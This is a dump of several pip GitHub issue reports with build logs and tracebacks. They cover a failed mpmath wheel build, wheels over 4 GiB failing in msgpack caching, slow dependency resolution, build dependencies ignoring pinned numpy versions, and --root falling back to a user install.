  copying build/lib/mpmath/tests/test_power.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_quad.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_rootfinding.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_special.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_str.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_summation.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_trig.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_visualization.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/torture.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/usertools.py -> build/bdist.linux-x86_64/wheel/mpmath
  copying build/lib/mpmath/visualization.py -> build/bdist.linux-x86_64/wheel/mpmath
  running install_egg_info
  running egg_info
  creating mpmath.egg-info
  writing mpmath.egg-info/PKG-INFO
  writing dependency_links to mpmath.egg-info/dependency_links.txt
  writing top-level names to mpmath.egg-info/top_level.txt
  writing manifest file 'mpmath.egg-info/SOURCES.txt'
  reading manifest file 'mpmath.egg-info/SOURCES.txt'
  writing manifest file 'mpmath.egg-info/SOURCES.txt'
  Copying mpmath.egg-info to build/bdist.linux-x86_64/wheel/mpmath-1.1.0-py3.9.egg-info
  running install_scripts
  adding license file "LICENSE" (matched pattern "LICEN[CS]E*")
  error: [Errno 39] Directory not empty: 'build/bdist.linux-x86_64/wheel/mpmath-1.1.0-py3.9.egg-info'
  ----------------------------------------
  ERROR: Failed building wheel for mpmath
  Running setup.py clean for mpmath
Successfully built Mako
Failed to build pymatgen retrying future mpmath
Installing collected packages: six, urllib3, retrying, pytz, python-dateutil, pyparsing, pillow, numpy, mpmath, kiwisolver, idna, future, decorator, cycler, chardet, certifi, uncertainties, tzlocal, tabulate, sympy, spglib, scipy, ruamel.yaml, requests, plotly, pandas, palettable, networkx, monty, matplotlib, MarkupSafe, pymatgen, Mako, apscheduler
    Running setup.py install for retrying: started
    Running setup.py install for retrying: finished with status 'done'
  DEPRECATION: retrying was installed using the legacy 'setup.py install' method, because a wheel could not be built for it. pip 21.0 will remove support for this functionality. A possible replacement is to fix the wheel build issue reported above. You can find discussion regarding this at https://github.com/pypa/pip/issues/8368.
    Running setup.py install for mpmath: started
    Running setup.py install for mpmath: finished with status 'done'
  DEPRECATION: mpmath was installed using the legacy 'setup.py install' method, because a wheel could not be built for it. pip 21.0 will remove support for this functionality. A possible replacement is to fix the wheel build issue reported above. You can find discussion regarding this at https://github.com/pypa/pip/issues/8368.
    Running setup.py install for future: started
    Running setup.py install for future: finished with status 'done'
  DEPRECATION: future was installed using the legacy 'setup.py install' method, because a wheel could not be built for it. pip 21.0 will remove support for this functionality. A possible replacement is to fix the wheel build issue reported above. You can find discussion regarding this at https://github.com/pypa/pip/issues/8368.
    Running setup.py install for pymatgen: started
    Running setup.py install for pymatgen: finished with status 'done'
  DEPRECATION: pymatgen was installed using the legacy 'setup.py install' method, because a wheel could not be built for it. pip 21.0 will remove support for this functionality. A possible replacement is to fix the wheel build issue reported above. You can find discussion regarding this at https://github.com/pypa/pip/issues/8368.
Successfully installed Mako-1.1.4 MarkupSafe-1.1.1 apscheduler-3.7.0 certifi-2020.12.5 chardet-4.0.0 cycler-0.10.0 decorator-4.4.2 future-0.18.2 idna-2.10 kiwisolver-1.3.1 matplotlib-3.3.4 monty-4.0.2 mpmath-1.1.0 networkx-2.5 numpy-1.20.0 palettable-3.3.0 pandas-1.2.1 pillow-8.1.0 plotly-4.14.3 pymatgen-2020.12.31 pyparsing-2.4.7 python-dateutil-2.8.1 pytz-2021.1 requests-2.25.1 retrying-1.3.3 ruamel.yaml-0.16.12 scipy-1.6.0 six-1.15.0 spglib-1.16.1 sympy-1.7.1 tabulate-0.8.7 tzlocal-2.1 uncertainties-3.1.5 urllib3-1.26.3
WARNING: You are using pip version 20.3.3; however, version 21.0.1 is available.
You should consider upgrading via the '/usr/local/bin/python -m pip install --upgrade pip' command.
Traceback (most recent call last):
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/contextlib2.py", line 468, in __exit__
    if cb(*exc_details):
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/contextlib2.py", line 396, in _exit_wrapper
    return cm_exit(cm, *exc_details)
  File "/usr/local/lib/python3.9/site-packages/pip/_internal/utils/temp_dir.py", line 178, in __exit__
    self.cleanup()
  File "/usr/local/lib/python3.9/site-packages/pip/_internal/utils/temp_dir.py", line 209, in cleanup
    rmtree(self._path)
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/retrying.py", line 49, in wrapped_f
    return Retrying(*dargs, **dkw).call(f, *args, **kw)
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/retrying.py", line 212, in call
    raise attempt.get()
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/retrying.py", line 247, in get
    six.reraise(self.value[0], self.value[1], self.value[2])
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/six.py", line 703, in reraise
    raise value
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/retrying.py", line 200, in call
    attempt = Attempt(fn(*args, **kwargs), attempt_number, False)
  File "/usr/local/lib/python3.9/site-packages/pip/_internal/utils/misc.py", line 141, in rmtree
    shutil.rmtree(dir, ignore_errors=ignore_errors,
  File "/usr/local/lib/python3.9/shutil.py", line 722, in rmtree
    onerror(os.rmdir, path, sys.exc_info())
  File "/usr/local/lib/python3.9/shutil.py", line 720, in rmtree
    os.rmdir(path)
OSError: [Errno 39] Directory not empty: '/tmp/pip-install-la7pwtyg/mpmath_cb46a0d0b3b34439b0f615d573ce8497'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/contextlib2.py", line 468, in __exit__
    if cb(*exc_details):
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/contextlib2.py", line 396, in _exit_wrapper
    return cm_exit(cm, *exc_details)
  File "/usr/local/lib/python3.9/site-packages/pip/_internal/utils/temp_dir.py", line 178, in __exit__
    self.cleanup()
  File "/usr/local/lib/python3.9/site-packages/pip/_internal/utils/temp_dir.py", line 209, in cleanup
    rmtree(self._path)
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/retrying.py", line 49, in wrapped_f
    return Retrying(*dargs, **dkw).call(f, *args, **kw)
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/retrying.py", line 212, in call
    raise attempt.get()
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/retrying.py", line 247, in get
    six.reraise(self.value[0], self.value[1], self.value[2])
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/six.py", line 703, in reraise
    raise value
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/retrying.py", line 200, in call
    attempt = Attempt(fn(*args, **kwargs), attempt_number, False)
  File "/usr/local/lib/python3.9/site-packages/pip/_internal/utils/misc.py", line 141, in rmtree
    shutil.rmtree(dir, ignore_errors=ignore_errors,
  File "/usr/local/lib/python3.9/shutil.py", line 718, in rmtree
    _rmtree_safe_fd(fd, path, onerror)
  File "/usr/local/lib/python3.9/shutil.py", line 655, in _rmtree_safe_fd
    _rmtree_safe_fd(dirfd, fullname, onerror)
  File "/usr/local/lib/python3.9/shutil.py", line 655, in _rmtree_safe_fd
    _rmtree_safe_fd(dirfd, fullname, onerror)
  File "/usr/local/lib/python3.9/shutil.py", line 655, in _rmtree_safe_fd
    _rmtree_safe_fd(dirfd, fullname, onerror)
  File "/usr/local/lib/python3.9/shutil.py", line 659, in _rmtree_safe_fd
    onerror(os.rmdir, fullname, sys.exc_info())
  File "/usr/local/lib/python3.9/shutil.py", line 657, in _rmtree_safe_fd
    os.rmdir(entry.name, dir_fd=topfd)
OSError: [Errno 39] Directory not empty: 'builtins'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/contextlib2.py", line 468, in __exit__
    if cb(*exc_details):
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/contextlib2.py", line 396, in _exit_wrapper
    return cm_exit(cm, *exc_details)
  File "/usr/local/lib/python3.9/site-packages/pip/_internal/utils/temp_dir.py", line 178, in __exit__
    self.cleanup()
  File "/usr/local/lib/python3.9/site-packages/pip/_internal/utils/temp_dir.py", line 209, in cleanup
    rmtree(self._path)
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/retrying.py", line 49, in wrapped_f
    return Retrying(*dargs, **dkw).call(f, *args, **kw)
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/retrying.py", line 212, in call
    raise attempt.get()
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/retrying.py", line 247, in get
    six.reraise(self.value[0], self.value[1], self.value[2])
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/six.py", line 703, in reraise
    raise value
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/retrying.py", line 200, in call
    attempt = Attempt(fn(*args, **kwargs), attempt_number, False)
  File "/usr/local/lib/python3.9/site-packages/pip/_internal/utils/misc.py", line 141, in rmtree
    shutil.rmtree(dir, ignore_errors=ignore_errors,
  File "/usr/local/lib/python3.9/shutil.py", line 718, in rmtree
    _rmtree_safe_fd(fd, path, onerror)
  File "/usr/local/lib/python3.9/shutil.py", line 655, in _rmtree_safe_fd
    _rmtree_safe_fd(dirfd, fullname, onerror)
  File "/usr/local/lib/python3.9/shutil.py", line 655, in _rmtree_safe_fd
    _rmtree_safe_fd(dirfd, fullname, onerror)
  File "/usr/local/lib/python3.9/shutil.py", line 655, in _rmtree_safe_fd
    _rmtree_safe_fd(dirfd, fullname, onerror)
  [Previous line repeated 2 more times]
  File "/usr/local/lib/python3.9/shutil.py", line 659, in _rmtree_safe_fd
    onerror(os.rmdir, fullname, sys.exc_info())
  File "/usr/local/lib/python3.9/shutil.py", line 657, in _rmtree_safe_fd
    os.rmdir(entry.name, dir_fd=topfd)
OSError: [Errno 39] Directory not empty: 'data'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/contextlib2.py", line 468, in __exit__
    if cb(*exc_details):
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/contextlib2.py", line 396, in _exit_wrapper
    return cm_exit(cm, *exc_details)
  File "/usr/local/lib/python3.9/site-packages/pip/_internal/utils/temp_dir.py", line 178, in __exit__
    self.cleanup()
  File "/usr/local/lib/python3.9/site-packages/pip/_internal/utils/temp_dir.py", line 209, in cleanup
    rmtree(self._path)
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/retrying.py", line 49, in wrapped_f
    return Retrying(*dargs, **dkw).call(f, *args, **kw)
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/retrying.py", line 212, in call
    raise attempt.get()
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/retrying.py", line 247, in get
    six.reraise(self.value[0], self.value[1], self.value[2])
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/six.py", line 703, in reraise
    raise value
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/retrying.py", line 200, in call
    attempt = Attempt(fn(*args, **kwargs), attempt_number, False)
  File "/usr/local/lib/python3.9/site-packages/pip/_internal/utils/misc.py", line 141, in rmtree
    shutil.rmtree(dir, ignore_errors=ignore_errors,
  File "/usr/local/lib/python3.9/shutil.py", line 718, in rmtree
    _rmtree_safe_fd(fd, path, onerror)
  File "/usr/local/lib/python3.9/shutil.py", line 659, in _rmtree_safe_fd
    onerror(os.rmdir, fullname, sys.exc_info())
  File "/usr/local/lib/python3.9/shutil.py", line 657, in _rmtree_safe_fd
    os.rmdir(entry.name, dir_fd=topfd)
OSError: [Errno 39] Directory not empty: 'doc'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/bin/pip", line 8, in <module>
    sys.exit(main())
  File "/usr/local/lib/python3.9/site-packages/pip/_internal/cli/main.py", line 75, in main
    return command.main(cmd_args)
  File "/usr/local/lib/python3.9/site-packages/pip/_internal/cli/base_command.py", line 117, in main
    return self._main(args)
  File "/usr/local/lib/python3.9/contextlib.py", line 124, in __exit__
    next(self.gen)
  File "/usr/local/lib/python3.9/site-packages/pip/_internal/cli/command_context.py", line 28, in main_context
    yield
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/contextlib2.py", line 479, in __exit__
    _reraise_with_existing_context(exc_details)
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/contextlib2.py", line 340, in _reraise_with_existing_context
    raise exc_details[1]
  File "/usr/local/lib/python3.9/contextlib.py", line 135, in __exit__
    self.gen.throw(type, value, traceback)
  File "/usr/local/lib/python3.9/site-packages/pip/_internal/utils/temp_dir.py", line 86, in tempdir_registry
    yield _tempdir_registry
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/contextlib2.py", line 468, in __exit__
    if cb(*exc_details):
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/contextlib2.py", line 396, in _exit_wrapper
    return cm_exit(cm, *exc_details)
  File "/usr/local/lib/python3.9/contextlib.py", line 124, in __exit__
    next(self.gen)
  File "/usr/local/lib/python3.9/site-packages/pip/_internal/utils/temp_dir.py", line 47, in global_tempdir_manager
    _tempdir_manager = old_tempdir_manager
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/contextlib2.py", line 479, in __exit__
    _reraise_with_existing_context(exc_details)
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/contextlib2.py", line 340, in _reraise_with_existing_context
    raise exc_details[1]
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/contextlib2.py", line 468, in __exit__
    if cb(*exc_details):
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/contextlib2.py", line 396, in _exit_wrapper
    return cm_exit(cm, *exc_details)
  File "/usr/local/lib/python3.9/site-packages/pip/_internal/utils/temp_dir.py", line 178, in __exit__
    self.cleanup()
  File "/usr/local/lib/python3.9/site-packages/pip/_internal/utils/temp_dir.py", line 209, in cleanup
    rmtree(self._path)
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/retrying.py", line 49, in wrapped_f
    return Retrying(*dargs, **dkw).call(f, *args, **kw)
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/retrying.py", line 212, in call
    raise attempt.get()
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/retrying.py", line 247, in get
    six.reraise(self.value[0], self.value[1], self.value[2])
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/six.py", line 703, in reraise
    raise value
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/retrying.py", line 200, in call
    attempt = Attempt(fn(*args, **kwargs), attempt_number, False)
  File "/usr/local/lib/python3.9/site-packages/pip/_internal/utils/misc.py", line 141, in rmtree
    shutil.rmtree(dir, ignore_errors=ignore_errors,
  File "/usr/local/lib/python3.9/shutil.py", line 718, in rmtree
    _rmtree_safe_fd(fd, path, onerror)
  File "/usr/local/lib/python3.9/shutil.py", line 655, in _rmtree_safe_fd
    _rmtree_safe_fd(dirfd, fullname, onerror)
  File "/usr/local/lib/python3.9/shutil.py", line 655, in _rmtree_safe_fd
    _rmtree_safe_fd(dirfd, fullname, onerror)
  File "/usr/local/lib/python3.9/shutil.py", line 655, in _rmtree_safe_fd
    _rmtree_safe_fd(dirfd, fullname, onerror)
  [Previous line repeated 1 more time]
  File "/usr/local/lib/python3.9/shutil.py", line 659, in _rmtree_safe_fd
    onerror(os.rmdir, fullname, sys.exc_info())
  File "/usr/local/lib/python3.9/shutil.py", line 657, in _rmtree_safe_fd
    os.rmdir(entry.name, dir_fd=topfd)
OSError: [Errno 39] Directory not empty: 'types'
Error response from daemon: The command '/bin/sh -c pip config set global.index-url https://pypi.doubanio.com/simple/     && pip config set global.trusted-host pypi.doubanio.com      && pip install Mako requests pymatgen apscheduler' returned a non-zero code: 1
'registry.cn-zhangjiakou.aliyuncs.com/yagami_hub/java-python:11_3_open_other Dockerfile: open-jdk/Dockerfile' has been deployed successfully.
```
                                                                                                                                                                    



**Code of Conduct**

- [X] I agree to follow the PSF Code of Conduct

![image](https://user-images.githubusercontent.com/16757285/106980115-90fc2400-679a-11eb-95b3-b7b90af23221.png)
![image](https://user-images.githubusercontent.com/16757285/106980151-9d807c80-679a-11eb-9d87-01cd9bad5435.png)
I noticed this in the error log  https://github.com/pypa/pip/issues/8368，But I did not find a solution
user: YAGAMIL
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_9549: state: open
title: wheels larger than 4G fail to download/install
body: <!--
If you're reporting an issue for `--use-feature=2020-resolver`, use the "Dependency resolver failures / errors" template instead.
-->

**Environment**

* pip version: 21.0.1
* Python version: 3.7.5
* OS: Ubuntu 19.10

<!-- Feel free to add more information about your environment here -->

**Description**
Older versions of pip could handle wheels larger than 4GiB. After a pip3 --upgrade pip, downloading such a package causes a msgpack exception when trying to store the wheel to disk.

**Output**

```
$ pip download <redacted>
Collecting <redacted>
  Downloading <redacted>.whl (4534.2 MB)
     |████████████████████████████████| 4534.2 MB 15.5 MB/s eta 0:00:01ERROR: Exception:
Traceback (most recent call last):
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_vendor/resolvelib/resolvers.py", line 171, in _merge_into_criterion
    crit = self.state.criteria[name]
KeyError: '<redacted>'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_internal/cli/base_command.py", line 189, in _main
    status = self.run(options, args)
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_internal/cli/req_command.py", line 178, in wrapper
    return func(self, options, args)
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_internal/commands/install.py", line 317, in run
    reqs, check_supported_wheels=not options.target_dir
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/resolver.py", line 122, in resolve
    requirements, max_rounds=try_to_avoid_resolution_too_deep,
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_vendor/resolvelib/resolvers.py", line 453, in resolve
    state = resolution.resolve(requirements, max_rounds=max_rounds)
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_vendor/resolvelib/resolvers.py", line 318, in resolve
    name, crit = self._merge_into_criterion(r, parent=None)
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_vendor/resolvelib/resolvers.py", line 173, in _merge_into_criterion
    crit = Criterion.from_requirement(self._p, requirement, parent)
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_vendor/resolvelib/resolvers.py", line 82, in from_requirement
    if not cands:
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_vendor/resolvelib/structs.py", line 124, in __bool__
    return bool(self._sequence)
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/found_candidates.py", line 143, in __bool__
    return any(self)
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/found_candidates.py", line 38, in _iter_built
    candidate = func()
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/factory.py", line 169, in _make_candidate_from_link
    name=name, version=version,
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 306, in __init__
    version=version,
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 144, in __init__
    self.dist = self._prepare()
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 226, in _prepare
    dist = self._prepare_distribution()
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 312, in _prepare_distribution
    self._ireq, parallel_builds=True,
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_internal/operations/prepare.py", line 457, in prepare_linked_requirement
    return self._prepare_linked_requirement(req, parallel_builds)
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_internal/operations/prepare.py", line 482, in _prepare_linked_requirement
    self.download_dir, hashes,
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_internal/operations/prepare.py", line 234, in unpack_url
    hashes=hashes,
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_internal/operations/prepare.py", line 108, in get_http_url
    from_path, content_type = download(link, temp_dir.path)
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_internal/network/download.py", line 163, in __call__
    for chunk in chunks:
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_internal/cli/progress_bars.py", line 159, in iter
    for x in it:
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_internal/network/utils.py", line 88, in response_chunks
    decode_content=False,
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_vendor/urllib3/response.py", line 576, in stream
    data = self.read(amt=amt, decode_content=decode_content)
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_vendor/urllib3/response.py", line 519, in read
    data = self._fp.read(amt) if not fp_closed else b""
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_vendor/cachecontrol/filewrapper.py", line 65, in read
    self._close()
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_vendor/cachecontrol/filewrapper.py", line 52, in _close
    self.__callback(self.__buf.getvalue())
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_vendor/cachecontrol/controller.py", line 309, in cache_response
    cache_url, self.serializer.dumps(request, response, body=body)
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_vendor/cachecontrol/serialize.py", line 72, in dumps
    return b",".join([b"cc=4", msgpack.dumps(data, use_bin_type=True)])
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_vendor/msgpack/__init__.py", line 35, in packb
    return Packer(**kwargs).pack(o)
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_vendor/msgpack/fallback.py", line 960, in pack
    self._pack(obj)
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_vendor/msgpack/fallback.py", line 944, in _pack
    len(obj), dict_iteritems(obj), nest_limit - 1
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_vendor/msgpack/fallback.py", line 1045, in _pack_map_pairs
    self._pack(v, nest_limit - 1)
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_vendor/msgpack/fallback.py", line 944, in _pack
    len(obj), dict_iteritems(obj), nest_limit - 1
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_vendor/msgpack/fallback.py", line 1045, in _pack_map_pairs
    self._pack(v, nest_limit - 1)
  File "/home/user/.pyenv/versions/molecule_3/envs/test/lib/python3.7/site-packages/pip/_vendor/msgpack/fallback.py", line 887, in _pack
    raise ValueError("%s is too large" % type(obj).__name__)
ValueError: bytes is too large
```

user: MiningMarsh
labels: type: bug: A confirmed bug or unintended behavior
project: vendored dependency: Related to a vendored dependency
C: cache: Dealing with cache and files in it
issue_9548: state: open
title: pip's dependency resolver doesn't resolve the conflict
body: I've been trying to install a package through pip on my rpi 3 model B.
my operating system is raspbian . debian based pip version is 21.0.1 and python version is 3.7.4 the command I'm using is:

`python3 -m pip install librosa
`
the problem is that the dependency resolver takes way too long to resolve the conflicts. and after a few hours it keeps repeating this line over and over again for hours ( I even left the installation running for 2 days over nights )

```
INFO: pip is looking at multiple versions of <Python from requires-Python> to determine which version is compatible with other requirements. this could take a while.
INFO: this is taking longer than usual. you might need to provide the dependency resolver with stricter constraints to reduce runtime. if you want to abort this run. you can press ctrl + c to do so.
```

I've tried using a stricter constraint such as adding "numpy > 1.20.0" and other stuff but now the popped up and I have no clue what I can do now.

would appreciate if anyone can provide a solution. thanks in advance.
user: COfek
labels: S: awaiting response: Waiting for a response/more information
S: needs triage: Issues/PRs that need to be triaged
issue_9542: state: open
title: Build dependencies doesn't use correct pinned version, installs numpy twice during build-time
body: <!--
If you're reporting an issue for `--use-feature=2020-resolver`, use the "Dependency resolver failures / errors" template instead.
-->

**Environment**

* pip version: 21.0.1
* Python version: 3.9.0
* OS: linux

<!-- Feel free to add more information about your environment here -->

**Description**
<!-- A clear and concise description of what the bug is. -->
Using pyproject.toml build-dependencies installs the latest version of a library, even if the same pip command installs a fixed version.
in very some cases (binary compilation) this can lead to errors like the below when trying to import the dependency.

```
RuntimeError: module compiled against API version 0xe but this version of numpy is 0xd
Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "xxx/.venv/lib/python3.9/site-packages/utils_find_1st/__init__.py", line 3, in <module>
    from .find_1st import find_1st 
ImportError: numpy.core.multiarray failed to import

```
**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->
Build process should use the pinned version of numpy (1.19.5) instead of the latest version (1.20.0 at time of writing). This way, the installation process will be coherent, and problems like this are not possible.


**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->
* create new environment
* install numpy and py_find_1st (both with pinned dependencies)

```
python -m venv .venv
. .venv/bin/activate
pip install -U pip
pip install --no-cache numpy==1.19.5 py_find_1st==1.1.4
python -c "import utils_find_1st"

# To make the above work, upgrade numpy to the latest version (which is the one py_find_1st is compiled against).
pip install -U numpy

```
**Output**

```
$ python -m venv .venv
$ . .venv/bin/activate
$ pip install -U pip
Collecting pip
  Using cached pip-21.0.1-py3-none-any.whl (1.5 MB)
Installing collected packages: pip
  Attempting uninstall: pip
    Found existing installation: pip 20.2.3
    Uninstalling pip-20.2.3:
      Successfully uninstalled pip-20.2.3
Successfully installed pip-21.0.1
$ pip install --no-cache numpy==1.19.5 py_find_1st==1.1.4
Collecting numpy==1.19.5
  Downloading numpy-1.19.5-cp39-cp39-manylinux2010_x86_64.whl (14.9 MB)
     |████████████████████████████████| 14.9 MB 10.4 MB/s 
Collecting py_find_1st==1.1.4
  Downloading py_find_1st-1.1.4.tar.gz (8.7 kB)
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
    Preparing wheel metadata ... done
Building wheels for collected packages: py-find-1st
  Building wheel for py-find-1st (PEP 517) ... done
  Created wheel for py-find-1st: filename=py_find_1st-1.1.4-cp39-cp39-linux_x86_64.whl size=30989 sha256=c1fa1330f733111b2b8edc447bec0c54abf3caf79cd5f386f5cbef310d41885c
  Stored in directory: /tmp/pip-ephem-wheel-cache-94uzfkql/wheels/1e/11/33/aa4db0927a22de4d0edde2a401e1cc1f307bc209d1fdf5b104
Successfully built py-find-1st
Installing collected packages: numpy, py-find-1st
Successfully installed numpy-1.19.5 py-find-1st-1.1.4
$ python -c "import utils_find_1st"
RuntimeError: module compiled against API version 0xe but this version of numpy is 0xd
Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "/home/xmatt/development/cryptos/freqtrade_copy/.venv/lib/python3.9/site-packages/utils_find_1st/__init__.py", line 3, in <module>
    from .find_1st import find_1st 
ImportError: numpy.core.multiarray failed to import

```


In verbose mode, the installation of numpy 1.20.0 can be observed, however, even with "-v", the output is VERY verbose.

```
....
  changing mode of /tmp/pip-build-env-js9tatya/overlay/bin/f2py3.9 to 755
  Successfully installed numpy-1.20.0 setuptools-52.0.0 wheel-0.36.2
  Removed build tracker: '/tmp/pip-req-tracker-9anxsz9d'
  Installing build dependencies ... done

....

```

An attached version can be found below (created with `pip install --no-cache numpy==1.19.5 py_find_1st==1.1.4 -v &> numpy_install.txt`).

[numpy_install.txt](https://github.com/pypa/pip/files/5899548/numpy_install.txt)

user: xmatthias
labels: C: constraint: Dealing with "constraints" (the -c option)
type: feature request: Request for a new feature
C: build logic: Stuff related to metadata generation / wheel generation
issue_9534: state: open
title: If root (--root) doesn't exist and is a relative path not starting with a dot (.), pip switches to the user installation scheme
body: <!--
If you're reporting an issue for `--use-feature=2020-resolver`, use the "Dependency resolver failures / errors" template instead.
-->

**Environment**

* pip version: 21.0
* Python version: 3.9.1
* OS: Alpine Linux

<!-- Feel free to add more information about your environment here -->

**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->
It sticks to the prefix installation scheme.

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

```
$ docker run --rm python:3.9-alpine sh -xc 'apk add tree && pip install --root d bottle && tree -a d'
```

**Output**

```
...
+ pip install --root d bottle
Defaulting to user installation because normal site-packages is not writeable
Collecting bottle
  Downloading bottle-0.12.19-py3-none-any.whl (89 kB)
Installing collected packages: bottle
Successfully installed bottle-0.12.19
+ tree -a d
d
└── root
    └── .local
        ├── bin
        │   ├── __pycache__
        │   │   └── bottle.cpython-39.pyc
        │   └── bottle.py
        └── lib
            └── python3.9
                └── site-packages
                    ├── __pycache__
                    │   └── bottle.cpython-39.pyc
                    ├── bottle-0.12.19.dist-info
